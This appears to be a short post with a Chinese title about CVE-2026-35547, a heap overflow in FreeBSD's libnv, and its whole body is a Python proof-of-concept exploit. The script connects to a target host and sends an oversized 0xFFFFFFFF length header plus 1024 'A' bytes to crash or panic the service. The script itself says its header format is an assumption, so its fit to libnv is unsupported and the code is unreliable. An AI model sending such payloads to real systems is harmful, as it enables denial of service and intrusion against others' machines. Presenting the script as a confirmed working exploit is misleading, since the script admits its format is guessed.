CVE-2026-35547 FreeBSD libnv堆越界写入漏洞

import socket import struct # Target IP and Port (Placeholder for a service using libnv) TARGET_IP = "192.168.1.100" TARGET_PORT = 12345 def exploit_libnv_heap_overflow(): """ PoC for CVE-2026-35547: libnv Heap Overflow This script sends a crafted message with a malicious header size to trigger the out-of-bounds write vulnerability in libnv. """ try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) # Construct malicious payload # Assuming a simplified header structure where the first 4 bytes represent the size # Setting size to 0xFFFFFFFF (max uint32) to trigger overflow malicious_size = 0xFFFFFFFF header = struct.pack('>I', malicious_size) # Padding to attempt to reach the heap write payload = b'A' * 1024 print(f"[+] Sending malicious payload to {TARGET_IP}:{TARGET_PORT}") s.send(header + payload) s.close() print("[+] Payload sent. Check target for crash or panic.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit_libnv_heap_overflow()